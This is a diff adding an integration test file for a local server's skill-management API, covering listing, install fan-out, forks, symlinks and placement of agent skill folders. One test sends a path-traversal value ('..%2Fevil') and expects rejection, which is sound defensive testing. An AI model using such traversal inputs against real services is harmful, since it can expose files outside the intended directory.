+import { createTestServer, pollUntil, type TestServer } from './test-harness.ts';
+
+/**
+ * In-place editor-dir skills surface as first-class `/api/skills`
+ * entries at their REAL paths — deduped to one canonical per skill — and are
+ * excluded from `/api/skills/installed` so the same skill never double-lists
+ * as a "detected" row.
+ */
+
+function writeSkill(root: string, rel: string, body: string): void {
+ const dir = join(root, rel);
+ mkdirSync(dir, { recursive: true });
+ writeFileSync(
+ join(dir, 'SKILL.md'),
+ `---\nname: ${rel.split('/').pop()}\ndescription: test skill\n---\n\n${body}\n`,
+ );
+}
+
+describe('in-place skills in /api/skills + /api/skills/installed', () => {
+ let contentDir: string;
+ let server: TestServer;
+
+ beforeEach(async () => {
+ contentDir = mkdtempSync(join(tmpdir(), 'ok-inplace-list-'));
+ writeSkill(contentDir, '.claude/skills/foo', '# Same');
+ writeSkill(contentDir, '.codex/skills/foo', '# Same'); // identical copy → deduped
+ writeSkill(contentDir, '.codex/skills/qux', '# Qux');
+ server = await createTestServer({ contentDir });
+ });
+ afterEach(async () => {
+ await server.cleanup();
+ rmSync(contentDir, { recursive: true, force: true });
+ });
+
+ const base = () => `http://127.0.0.1:${server.port}`;
+
+ test('lists each canonical once at its real editor-dir path with all hosts', async () => {
+ const res = await fetch(`${base()}/api/skills`);
+ expect(res.status).toBe(200);
+ const { skills } = (await res.json()) as {
+ skills: Array<{
+ name: string;
+ scope: string;
+ path: string;
+ installed: boolean;
+ hosts: string[];
+ description?: string;
+ }>;
+ };
+
+ const foos = skills.filter((s) => s.name === 'foo');
+ expect(foos).toHaveLength(1);
+ expect(foos[0]?.scope).toBe('project');
+ expect(foos[0]?.path).toBe('.claude/skills/foo/SKILL.md');
+ expect(foos[0]?.installed).toBe(true);
+ expect(foos[0]?.hosts).toEqual(['claude', 'codex']);
+ expect(foos[0]?.description).toBe('test skill');
+
+ const qux = skills.find((s) => s.name === 'qux');
+ expect(qux?.path).toBe('.codex/skills/qux/SKILL.md');
+ expect(qux?.hosts).toEqual(['codex']);
+ });
+
+ test('resolve-ref: an installed skill wins (local); unknown + no provenance is none', async () => {
+ // `foo` is installed → a `/foo` ref resolves local (no import, no fork).
+ const local = await fetch(`${base()}/api/skills/resolve-ref?ref=foo&scope=project&from=qux`);
+ expect(local.status).toBe(200);
+ expect(await local.json()).toMatchObject({ kind: 'local', scope: 'project', name: 'foo' });
+ // `qux` carries no lockfile origin, so an unknown ref has no trusted signal
+ // to follow — none (the caller offers MANUAL Explore, never a fuzzy pick).
+ const none = await fetch(
+ `${base()}/api/skills/resolve-ref?ref=not-installed-anywhere&scope=project&from=qux`,
+ );
+ expect(await none.json()).toMatchObject({ kind: 'none' });
+ // A malformed ref is rejected, never turned into a filesystem probe.
+ const bad = await fetch(
+ `${base()}/api/skills/resolve-ref?ref=..%2Fevil&scope=project&from=qux`,
+ );
+ expect(bad.status).toBe(400);
+ });
+
+ test('an in-place imported skill carries origin + Modified off the lockfile (R14)', async () => {
+ // Recorded localHash ≠ the bundle's current parseSkillDir hash → Modified.
+ // Server was booted in beforeEach; the lockfile is read per list request.
+ const { writeFileSync: wf, mkdirSync: mk } = await import('node:fs');
+ mk(join(contentDir, '.ok'), { recursive: true });
+ wf(
+ join(contentDir, '.ok', 'skills-lock.json'),
+ JSON.stringify({
+ schema: 1,
+ skills: {
+ foo: {
+ source: 'someone/skill-repo',
+ contentHash: 'a'.repeat(64),
+ localHash: 'b'.repeat(64), // diverges from on-disk → modified
+ importedAt: new Date().toISOString(),
+ },
+ },
+ }),
+ );
+ const res = await fetch(`${base()}/api/skills`);
+ const { skills } = (await res.json()) as {
+ skills: Array<{
+ name: string;
+ scope: string;
+ origin?: { source: string };
+ modified?: boolean;
+ revertable?: boolean;
+ }>;
+ };
+ const foo = skills.find((s) => s.name === 'foo' && s.scope === 'project');
+ expect(foo?.origin?.source).toBe('someone/skill-repo');
+ expect(foo?.modified).toBe(true);
+ expect(foo?.revertable).toBeUndefined(); // no baselineRef recorded
+ });
+
+ test("CHOKIDAR backend: a host dir's FIRST skill is admitted without a restart", async () => {
+ // The packaged app always runs the chokidar fallback, whose ignored()
+ // used to prune excluded dirs wholesale — a host dir with no admitted
+ // skill yet emitted no events, so its FIRST skill needed a restart.
+ const gContent = mkdtempSync(join(tmpdir(), 'ok-chokidar-first-'));
+ process.env.OK_FILE_WATCHER_BACKEND = 'chokidar';
+ let chokidarServer: TestServer | undefined;
+ try {
+ // `.codex/skills` exists but is EMPTY at boot — the caveat setup.
+ mkdirSync(join(gContent, '.codex/skills'), { recursive: true });
+ writeSkill(gContent, '.claude/skills/seed', '# seed'); // ensures a non-empty scan
+ chokidarServer = await createTestServer({ contentDir: gContent });
+ const cBase = `http://127.0.0.1:${chokidarServer.port}`;
+ writeSkill(gContent, '.codex/skills/first-ever', '# First');
+ await pollUntil(async () => {
+ const res = await fetch(`${cBase}/api/skills?scope=project`);
+ if (!res.ok) return false;
+ const body = (await res.json()) as { skills?: Array<{ name: string }> };
+ return (body.skills ?? []).some((s) => s.name === 'first-ever');
+ }, 20000);
+ } finally {
+ delete process.env.OK_FILE_WATCHER_BACKEND;
+ await chokidarServer?.cleanup();
+ rmSync(gContent, { recursive: true, force: true });
+ }
+ });
+
+ test('a skill created AFTER boot is admitted as content via the live re-scan', async () => {
+ // Not in the boot-time allow-list — the raw-batch trigger must re-scan and
+ // rebuild the filter, after which the SKILL.md is a real content doc
+ // (visible in /api/documents, not just the per-request skills list).
+ writeSkill(contentDir, '.claude/skills/live-added', '# Born after boot');
+ await pollUntil(async () => {
+ const res = await fetch(`${base()}/api/documents`);
+ if (!res.ok) return false;
+ const body = (await res.json()) as { documents?: Array<{ docName: string }> };
+ return (body.documents ?? []).some((d) => d.docName === '.claude/skills/live-added/SKILL');
+ }, 15000);
+ });
+
+ test('a PRE-EXISTING same-hash copy re-syncs when the canonical is edited (auto-pairing)', async () => {
+ // `.codex/skills/foo` existed BEFORE boot (not OK-made) — boot observes the
+ // identical pair and records it; a later canonical edit refreshes the copy
+ // instead of forking it (the "edited it and it dropped to one editor" bug).
+ const canonicalMd = join(contentDir, '.claude/skills/foo/SKILL.md');
+ const copyMd = join(contentDir, '.codex/skills/foo/SKILL.md');
+ const { readFileSync: rf, writeFileSync: wf } = await import('node:fs');
+ wf(canonicalMd, rf(canonicalMd, 'utf-8').replace('# Same', '# Same EDITED'));
+ await pollUntil(() => rf(copyMd, 'utf-8').includes('# Same EDITED'), 15000);
+ });
+
+ test('in-place canonicals do not double-list as detected installed skills', async () => {
+ const res = await fetch(`${base()}/api/skills/installed`);
+ expect(res.status).toBe(200);
+ const { skills } = (await res.json()) as {
+ skills: Array<{ name: string; provenance: { scope?: string } }>;
+ };
+ const projectNames = skills.filter((s) => s.provenance.scope === 'project').map((s) => s.name);
+ expect(projectNames).not.toContain('foo');
+ expect(projectNames).not.toContain('qux');
+ });
+});
+
+describe('in-place skill install fan-out (R13 inversion)', () => {
+ let contentDir: string;
+ let server: TestServer;
+
+ beforeEach(async () => {
+ contentDir = mkdtempSync(join(tmpdir(), 'ok-inplace-install-'));
+ writeSkill(contentDir, '.claude/skills/fanout', '# Canonical');
+ server = await createTestServer({ contentDir });
+ });
+ afterEach(async () => {
+ await server.cleanup();
+ rmSync(contentDir, { recursive: true, force: true });
+ });
+
+ const base = () => `http://127.0.0.1:${server.port}`;
+ const install = (targets: string[]) =>
+ fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ name: 'fanout', scope: 'project', targets }),
+ });
+ // A skill with no other location takes the SYMLINK default; tests about copy
+ // behaviour ask for copies explicitly instead of relying on that default.
+ const installAsCopies = (targets: string[]) =>
+ fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ name: 'fanout', scope: 'project', targets, linkMode: false }),
+ });
+
+ test('a bare install neither relocates the source nor strips unnamed locations', async () => {
+ const { lstatSync, existsSync, mkdirSync, writeFileSync } = await import('node:fs');
+ // Make codex a DETECTED project editor (detection is just "does its config
+ // path exist"), so a defaults-driven install resolves a NON-EMPTY target list
+ // — and that list can never contain the `agents` hub, which is the whole
+ // setup for the bug.
+ mkdirSync(join(contentDir, '.codex'), { recursive: true });
+ writeFileSync(join(contentDir, '.codex/config.toml'), '\n');
+
+ // Put the real folder at the hub, keeping the claude location behind as a link.
+ expect((await install(['claude'])).status).toBe(200);
+ const promote = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ name: 'fanout', scope: 'project', source: 'agents' }),
+ });
+ expect(promote.status).toBe(200);
+ const hub = join(contentDir, '.agents/skills/fanout');
+ const claude = join(contentDir, '.claude/skills/fanout');
+ expect(lstatSync(hub).isSymbolicLink()).toBe(false); // the real folder
+
+ // `targets` OMITTED: the caller named no set, so this call is additive. It
+ // used to fall through to set-exact reconciliation against the detected
+ // editors, read the hub's absence from that list as an uncheck, MOVE the real
+ // folder into `.codex/skills`, and delete every location codex didn't name.
+ const res = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ name: 'fanout', scope: 'project' }),
+ });
+ expect(res.status).toBe(200);
+
+ expect(existsSync(hub)).toBe(true);
+ expect(lstatSync(hub).isSymbolicLink()).toBe(false); // source did not move
+ expect(existsSync(claude)).toBe(true); // location not stripped
+ });
+
+ test('ADDITIVE add/remove: stateless location math, source untouchable', async () => {
+ const post = (payload: Record<string, unknown>) =>
+ fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ name: 'fanout', scope: 'project', ...payload }),
+ });
+
+ // add an editor: everything else untouched, source NEVER relocates.
+ const addRes = await post({ add: ['codex'] });
+ expect(addRes.status).toBe(200);
+ const addBody = (await addRes.json()) as { hosts: string[]; sourceMovedTo?: string };
+ expect(addBody.sourceMovedTo).toBeUndefined();
+ expect(addBody.hosts[0]).toBe('claude');
+ expect(addBody.hosts).toContain('codex');
+ expect(existsSync(join(contentDir, '.codex/skills/fanout/SKILL.md'))).toBe(true);
+
+ // add a CUSTOM root (unified place): bundle lands there, idempotent re-add.
+ const rootRes = await post({ add: ['.team/skills'] });
+ expect(rootRes.status).toBe(200);
+ expect(existsSync(join(contentDir, '.team/skills/fanout/SKILL.md'))).toBe(true);
+ expect((await post({ add: ['.team/skills'] })).status).toBe(200);
+
+ // remove them additively — the untouched claude source survives both.
+ const rmRes = await post({ remove: ['codex', '.team/skills'] });
+ expect(rmRes.status).toBe(200);
+ const rmBody = (await rmRes.json()) as { hosts: string[] };
+ expect(rmBody.hosts).toEqual(['claude']);
+ expect(existsSync(join(contentDir, '.codex/skills/fanout'))).toBe(false);
+ expect(existsSync(join(contentDir, '.team/skills/fanout'))).toBe(false);
+
+ // removing the SOURCE is a 400 teaching error — that's `delete`'s job.
+ const srcRes = await post({ remove: ['claude'] });
+ expect(srcRes.status).toBe(400);
+ expect(await srcRes.text()).toContain('SOURCE');
+
+ // set-exact and additive styles never combine (schema-level 400).
+ expect((await post({ targets: ['claude'], add: ['codex'] })).status).toBe(400);
+ });
+
+ test('remove of an ALIAS-covered viewer unfollows the pool minus this skill (A3 via MCP)', async () => {
+ const { symlinkSync, lstatSync, realpathSync } = await import('node:fs');
+ // Pool: .agents/skills holds fanout + another skill; codex READS the pool
+ // via a folder symlink (no physical codex occurrence).
+ mkdirSync(join(contentDir, '.agents/skills'), { recursive: true });
+ const fanoutDir = join(contentDir, '.claude/skills/fanout');
+ const poolFanout = join(contentDir, '.agents/skills/fanout');
+ const { cpSync } = await import('node:fs');
+ cpSync(fanoutDir, poolFanout, { recursive: true });
+ rmSync(fanoutDir, { recursive: true, force: true });
+ writeSkill(contentDir, '.agents/skills/other-skill', '# Other');
+ mkdirSync(join(contentDir, '.codex'), { recursive: true });
+ symlinkSync(join(contentDir, '.agents/skills'), join(contentDir, '.codex/skills'), 'dir');
+
+ // The natural stateless call: "codex shouldn't get fanout".
+ const res = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ name: 'fanout', scope: 'project', remove: ['codex'] }),
+ });
+ expect(res.status).toBe(200);
+ // codex's folder is now a REAL dir: keeps other-skill (as a link into the
+ // pool), does NOT see fanout; the pool keeps fanout for everyone else.
+ const codexRoot = join(contentDir, '.codex/skills');
+ expect(lstatSync(codexRoot).isSymbolicLink()).toBe(false);
+ expect(existsSync(join(codexRoot, 'fanout'))).toBe(false);
+ expect(lstatSync(join(codexRoot, 'other-skill')).isSymbolicLink()).toBe(true);
+ expect(realpathSync(join(codexRoot, 'other-skill'))).toBe(
+ realpathSync(join(contentDir, '.agents/skills/other-skill')),
+ );
+ expect(existsSync(join(contentDir, '.agents/skills/fanout/SKILL.md'))).toBe(true);
+ });
+
+ test('add to an ALIAS-covered viewer whose pool LACKS the skill materializes + installs (BUG-5)', async () => {
+ const { symlinkSync, lstatSync, realpathSync } = await import('node:fs');
+ // The BUG-5 repro shape: codex's folder is a stale alias into a pool that
+ // does NOT hold the skill (the legacy-link class). "add codex" must make
+ // codex actually get the skill — not silently no-op.
+ writeSkill(contentDir, '.ok/skills/legacy-resident', '# Old pool resident');
+ mkdirSync(join(contentDir, '.codex'), { recursive: true });
+ symlinkSync(join(contentDir, '.ok/skills'), join(contentDir, '.codex/skills'), 'dir');
+
+ const res = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ name: 'fanout', scope: 'project', add: ['codex'] }),
+ });
+ expect(res.status).toBe(200);
+ const bodyJson = (await res.json()) as { hosts: string[] };
+ expect(bodyJson.hosts).toContain('codex');
+ // codex's folder materialized: keeps following the old pool resident (as a
+ // per-skill link), AND physically holds the added skill.
+ const codexRoot = join(contentDir, '.codex/skills');
+ expect(lstatSync(codexRoot).isSymbolicLink()).toBe(false);
+ expect(existsSync(join(codexRoot, 'fanout', 'SKILL.md'))).toBe(true);
+ expect(realpathSync(join(codexRoot, 'legacy-resident'))).toBe(
+ realpathSync(join(contentDir, '.ok/skills/legacy-resident')),
+ );
+ });
+
+ test('fork resolution: align, make-source, and keep-both-rename', async () => {
+ const post = (body: Record<string, unknown>) =>
+ fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ scope: 'project', ...body }),
+ });
+
+ // ALIGN: codex fork loses; canonical re-projects there; bytes stashed.
+ writeSkill(contentDir, '.claude/skills/forky', '# Canonical');
+ writeSkill(contentDir, '.codex/skills/forky', '# Codex fork DIFFERENT');
+ const align = await post({ name: 'forky', fork: { editor: 'codex', action: 'align' } });
+ expect(align.status).toBe(200);
+ expect(readFileSync(join(contentDir, '.codex/skills/forky/SKILL.md'), 'utf-8')).toContain(
+ '# Canonical',
+ );
+
+ // MAKE-SOURCE: cursor fork wins; it becomes the only canonical and the old
+ // winner's location re-projects FROM it.
+ writeSkill(contentDir, '.claude/skills/champ', '# Old canonical');
+ writeSkill(contentDir, '.cursor/skills/champ', '# Cursor version WINS');
+ const mk = await post({ name: 'champ', fork: { editor: 'cursor', action: 'make-source' } });
+ expect(mk.status).toBe(200);
+ expect(readFileSync(join(contentDir, '.claude/skills/champ/SKILL.md'), 'utf-8')).toContain(
+ 'WINS',
+ );
+ expect(readFileSync(join(contentDir, '.cursor/skills/champ/SKILL.md'), 'utf-8')).toContain(
+ 'WINS',
+ );
+
+ // RENAME: keep both — the fork becomes an independent skill, frontmatter
+ // name rewritten in lock-step.
+ writeSkill(contentDir, '.claude/skills/twin', '# Original');
+ writeSkill(contentDir, '.codex/skills/twin', '# Divergent twin');
+ const rn = await post({
+ name: 'twin',
+ fork: { editor: 'codex', action: 'rename', toName: 'twin-codex' },
+ });
+ expect(rn.status).toBe(200);
+ expect(existsSync(join(contentDir, '.codex/skills/twin'))).toBe(false);
+ const renamed = readFileSync(join(contentDir, '.codex/skills/twin-codex/SKILL.md'), 'utf-8');
+ expect(renamed).toContain('# Divergent twin');
+ expect(renamed).toMatch(/name: twin-codex/);
+
+ // A same-hash copy is NOT a fork — refused.
+ writeSkill(contentDir, '.claude/skills/samey', '# Same');
+ writeSkill(contentDir, '.codex/skills/samey', '# Same');
+ expect((await post({ name: 'samey', fork: { editor: 'codex', action: 'align' } })).status).toBe(
+ 400,
+ );
+ });
+
+ test('DELETE is total: a legacy store resident dies with the native canonical', async () => {
+ const gContent = mkdtempSync(join(tmpdir(), 'ok-total-del-gc-'));
+ const home = mkdtempSync(join(tmpdir(), 'ok-total-del-home-'));
+ // Same skill in a native dir (canonical) AND the legacy global store.
+ writeSkill(home, '.claude/skills/zombie', '# Native');
+ writeSkill(home, '.ok/skills/zombie', '# Store resident');
+ const gServer = await createTestServer({ contentDir: gContent, configHomedirOverride: home });
+ try {
+ const del = await fetch(
+ `http://127.0.0.1:${gServer.port}/api/skill?name=zombie&scope=global`,
+ { method: 'DELETE' },
+ );
+ expect(del.status).toBe(200);
+ expect(existsSync(join(home, '.claude/skills/zombie'))).toBe(false);
+ // The store resident is the SAME skill — it must not survive as a row.
+ expect(existsSync(join(home, '.ok/skills/zombie'))).toBe(false);
+ } finally {
+ await gServer.cleanup();
+ rmSync(gContent, { recursive: true, force: true });
+ rmSync(home, { recursive: true, force: true });
+ }
+ });
+
+ test('ADDITIVE works at GLOBAL scope against the user home', async () => {
+ const gContent = mkdtempSync(join(tmpdir(), 'ok-additive-gc-'));
+ const home = mkdtempSync(join(tmpdir(), 'ok-additive-ghome-'));
+ writeSkill(home, '.claude/skills/globby', '# Native global');
+ const gServer = await createTestServer({
+ contentDir: gContent,
+ configHomedirOverride: home,
+ });
+ const cleanup = async () => {
+ await gServer.cleanup();
+ rmSync(gContent, { recursive: true, force: true });
+ rmSync(home, { recursive: true, force: true });
+ };
+ try {
+ const gBase = `http://127.0.0.1:${gServer.port}`;
+ const post = (payload: Record<string, unknown>) =>
+ fetch(`${gBase}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ name: 'globby', scope: 'global', ...payload }),
+ });
+ const addRes = await post({ add: ['codex'] });
+ expect(addRes.status).toBe(200);
+ const addBody = (await addRes.json()) as { hosts: string[]; sourceMovedTo?: string };
+ expect(addBody.sourceMovedTo).toBeUndefined();
+ expect(addBody.hosts[0]).toBe('claude');
+ expect(existsSync(join(home, '.codex/skills/globby/SKILL.md'))).toBe(true);
+ const rmRes = await post({ remove: ['codex'] });
+ expect(rmRes.status).toBe(200);
+ expect(existsSync(join(home, '.codex/skills/globby'))).toBe(false);
+ expect(existsSync(join(home, '.claude/skills/globby/SKILL.md'))).toBe(true);
+ } finally {
+ await cleanup();
+ }
+ });
+
+ test('install copies the canonical to a new editor; uncheck removes only the copy', async () => {
+ // Check codex: canonical (.claude) stays, .codex gets a real copy.
+ const res = await install(['claude', 'codex']);
+ expect(res.status).toBe(200);
+ const body = (await res.json()) as { hosts: string[] };
+ expect(body.hosts.sort()).toEqual(['claude', 'codex']);
+
+ // A hub-hosted skill keeps its non-editor host in the response — the client
+ // diffs before/after hosts, and dropping 'agents' would misreport a removal.
+ writeSkill(contentDir, '.agents/skills/hubbed', '# Hub canonical');
+ const hubRes = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ name: 'hubbed', scope: 'project', targets: ['agents', 'claude'] }),
+ });
+ expect(hubRes.status).toBe(200);
+ const hubBody = (await hubRes.json()) as { hosts: string[] };
+ expect(hubBody.hosts.sort()).toEqual(['agents', 'claude']);
+ expect(existsSync(join(contentDir, '.codex/skills/fanout/SKILL.md'))).toBe(true);
+ expect(existsSync(join(contentDir, '.claude/skills/fanout/SKILL.md'))).toBe(true);
+
+ // Uncheck codex: the same-hash copy is removed, canonical survives.
+ const res2 = await install(['claude']);
+ expect(res2.status).toBe(200);
+ expect(existsSync(join(contentDir, '.codex/skills/fanout'))).toBe(false);
+ expect(existsSync(join(contentDir, '.claude/skills/fanout/SKILL.md'))).toBe(true);
+ });
+
+ test('a bulk add reports an unplaceable root distinctly from a name conflict', async () => {
+ // Both used to arrive as `name-conflict`, so a caller could not tell a bad
+ // path from a real collision — the single-shot `place` verb 400s on one and
+ // 409s on the other.
+ const res = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ scope: 'project', name: 'fanout', add: ['.ok/local'] }),
+ });
+ expect(res.status).toBe(200);
+ const body = (await res.json()) as { warningCodes: string[] };
+ expect(body.warningCodes).toContain('place-path-invalid');
+ expect(body.warningCodes).not.toContain('name-conflict');
+ });
+
+ test('a same-name FORK in the target editor is never clobbered', async () => {
+ writeSkill(contentDir, '.codex/skills/fanout', '# A DIFFERENT skill');
+ const res = await install(['claude', 'codex']);
+ expect(res.status).toBe(200);
+ const body = (await res.json()) as { hosts: string[]; warningCodes: string[] };
+ expect(body.warningCodes).toContain('name-conflict');
+ // The fork's bytes are untouched.
+ const { readFileSync: rf } = await import('node:fs');
+ expect(rf(join(contentDir, '.codex/skills/fanout/SKILL.md'), 'utf-8')).toContain(
+ '# A DIFFERENT skill',
+ );
+ });
+
+ test('unchecking THE SOURCE relocates it to the next target', async () => {
+ // Fan a copy to codex, then uncheck the source (.claude): the bundle MOVES
+ // to .codex (its copy becomes the real dir) and .claude is gone.
+ expect((await install(['claude', 'codex'])).status).toBe(200);
+ const moveRes = await install(['codex']);
+ expect(moveRes.status).toBe(200);
+ const moved = (await moveRes.json()) as { hosts: string[]; sourceMovedTo?: string };
+ expect(moved.sourceMovedTo).toBe('.codex/skills/fanout');
+ expect(existsSync(join(contentDir, '.codex/skills/fanout/SKILL.md'))).toBe(true);
+ expect(existsSync(join(contentDir, '.claude/skills/fanout'))).toBe(false);
+ });
+
+ test('setSource is a SWAP: the old source becomes a symlink to the new one', async () => {
+ const { lstatSync } = await import('node:fs');
+ // .claude is the source, .codex a copy. Promote .codex to source.
+ expect((await install(['claude', 'codex'])).status).toBe(200);
+ const res = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ name: 'fanout', scope: 'project', setSource: 'codex' }),
+ });
+ expect(res.status).toBe(200);
+ const body = (await res.json()) as { hosts: string[]; sourceMovedTo?: string };
+ expect(body.sourceMovedTo).toBe('.codex/skills/fanout');
+ // The new source is the real dir; the OLD source path is downgraded to a
+ // SYMLINK pointing at it (the promote/downgrade swap).
+ const codex = join(contentDir, '.codex/skills/fanout');
+ expect(lstatSync(codex).isDirectory()).toBe(true);
+ expect(lstatSync(codex).isSymbolicLink()).toBe(false);
+ const claude = join(contentDir, '.claude/skills/fanout');
+ expect(lstatSync(claude).isSymbolicLink()).toBe(true);
+ const { realpathSync: rp } = await import('node:fs');
+ expect(rp(claude)).toBe(rp(codex));
+ expect(body.hosts[0]).toBe('codex');
+ expect(body.hosts.sort()).toEqual(['claude', 'codex']);
+ // Sticky: a fresh list still elects .codex over .claude's precedence.
+ const list = (await (await fetch(`${base()}/api/skills?scope=project`)).json()) as {
+ skills: Array<{ name: string; hosts: string[] }>;
+ };
+ expect(list.skills.find((s) => s.name === 'fanout')?.hosts[0]).toBe('codex');
+ // Promoting the current source is a no-op success.
+ const noop = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ name: 'fanout', scope: 'project', setSource: 'codex' }),
+ });
+ expect(noop.status).toBe(200);
+ expect(((await noop.json()) as { sourceMovedTo?: string }).sourceMovedTo).toBeUndefined();
+ });
+
+ test('placing a skill at the location it already occupies is a no-op success', async () => {
+ // Imports land IN-PLACE at the `.agents/skills` hub, so asking to place a
+ // freshly imported skill there names its own canonical dir. That used to
+ // fail as "Placement path must be a project-relative directory outside
+ // .ok/." — an invalid-path error for a skill already exactly where it was
+ // asked to be, surfaced as a red toast on an install that had worked.
+ const listed = (await (await fetch(`${base()}/api/skills?scope=project`)).json()) as {
+ skills: Array<{ name: string; path: string }>;
+ };
+ const entry = listed.skills.find((s) => s.name === 'fanout');
+ const ownRoot = entry?.path.replace(/\/fanout\/SKILL\.mdx?$/, '') ?? '';
+ expect(ownRoot).not.toBe('');
+ const res = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ name: 'fanout',
+ scope: 'project',
+ place: { dir: ownRoot, mode: 'copy' },
+ }),
+ });
+ expect(res.status).toBe(200);
+ const body = (await res.json()) as { placedAt?: string };
+ expect(body.placedAt).toBe(`${ownRoot}/fanout`);
+ // Nothing nested itself inside the skill.
+ expect(existsSync(join(contentDir, ownRoot, 'fanout', 'fanout'))).toBe(false);
+ });
+
+ test('unplace removes a recorded placement; hand-edited copies are refused', async () => {
+ const { writeFileSync: wf } = await import('node:fs');
+ const placeRes = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ name: 'fanout',
+ scope: 'project',
+ place: { dir: '.windsurf/skills', mode: 'copy' },
+ }),
+ });
+ expect(placeRes.status).toBe(200);
+ const placed = join(contentDir, '.windsurf/skills/fanout');
+ expect(existsSync(join(placed, 'SKILL.md'))).toBe(true);
+ // Clean unplace: dir removed, record dropped.
+ const un = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ name: 'fanout',
+ scope: 'project',
+ unplace: { path: '.windsurf/skills/fanout' },
+ }),
+ });
+ expect(un.status).toBe(200);
+ expect(existsSync(placed)).toBe(false);
+ // Re-place, hand-edit the copy, then unplace: refused (409), bytes intact.
+ expect(
+ (
+ await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ name: 'fanout',
+ scope: 'project',
+ place: { dir: '.windsurf/skills', mode: 'copy' },
+ }),
+ })
+ ).status,
+ ).toBe(200);
+ wf(join(placed, 'SKILL.md'), '---\nname: fanout\ndescription: edited.\n---\n# EDITED');
+ const refused = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ name: 'fanout',
+ scope: 'project',
+ unplace: { path: '.windsurf/skills/fanout' },
+ }),
+ });
+ expect(refused.status).toBe(409);
+ expect(existsSync(join(placed, 'SKILL.md'))).toBe(true);
+ });
+
+ test('setSource promotes a STORE-backed skill to the clicked host', async () => {
+ const { mkdirSync, writeFileSync: wf, lstatSync } = await import('node:fs');
+ const store = join(contentDir, '.ok/skills/storey');
+ mkdirSync(store, { recursive: true });
+ wf(join(store, 'SKILL.md'), '---\nname: storey\ndescription: Use when testing.\n---\n# S');
+ const res = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ name: 'storey', scope: 'project', setSource: 'claude' }),
+ });
+ expect(res.status).toBe(200);
+ const body = (await res.json()) as { hosts: string[]; sourceMovedTo?: string };
+ expect(body.sourceMovedTo).toBe('.claude/skills/storey');
+ // The store bundle moved out — the editor dir is the real folder now.
+ expect(existsSync(store)).toBe(false);
+ const claude = join(contentDir, '.claude/skills/storey');
+ expect(lstatSync(claude).isDirectory()).toBe(true);
+ expect(lstatSync(claude).isSymbolicLink()).toBe(false);
+ expect(body.hosts[0]).toBe('claude');
+ });
+
+ test('a CUSTOM root can be promoted to SOURCE (scan tracks custom-root canonicals)', async () => {
+ const { lstatSync } = await import('node:fs');
+ expect((await install(['claude', 'codex'])).status).toBe(200);
+ // Place a copy at the custom .ok/skills root, then promote it to source.
+ expect(
+ (
+ await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ name: 'fanout',
+ scope: 'project',
+ place: { dir: '.ok/skills', mode: 'copy' },
+ }),
+ })
+ ).status,
+ ).toBe(200);
+ const res = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ name: 'fanout', scope: 'project', setSource: '.ok/skills' }),
+ });
+ expect(res.status).toBe(200);
+ const body = (await res.json()) as { hosts: string[]; sourceMovedTo?: string };
+ expect(body.sourceMovedTo).toBe('.ok/skills/fanout');
+ // The custom root holds the real dir; the old source slot is re-placed.
+ const okDir = join(contentDir, '.ok/skills/fanout');
+ expect(lstatSync(okDir).isDirectory()).toBe(true);
+ expect(lstatSync(okDir).isSymbolicLink()).toBe(false);
+ expect(existsSync(join(contentDir, '.claude/skills/fanout/SKILL.md'))).toBe(true);
+ // The registry keeps tracking the skill with the custom root as canonical.
+ expect(body.hosts[0]).toBe('.ok/skills');
+ const list = (await (await fetch(`${base()}/api/skills?scope=project`)).json()) as {
+ skills: Array<{ name: string; path: string }>;
+ };
+ expect(list.skills.find((s) => s.name === 'fanout')?.path).toBe('.ok/skills/fanout/SKILL.md');
+
+ // A MODE FLIP (Copies/Symlinks re-apply) sends set-exact over editor ids
+ // only — a vocabulary that cannot express the custom-root source. That
+ // absence is NOT an uncheck: the source must stay put, never relocate.
+ const flip = await fetch(`${base()}/api/skill/install`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ name: 'fanout',
+ scope: 'project',
+ linkMode: false,
+ targets: ['claude', 'codex'],
+ }),
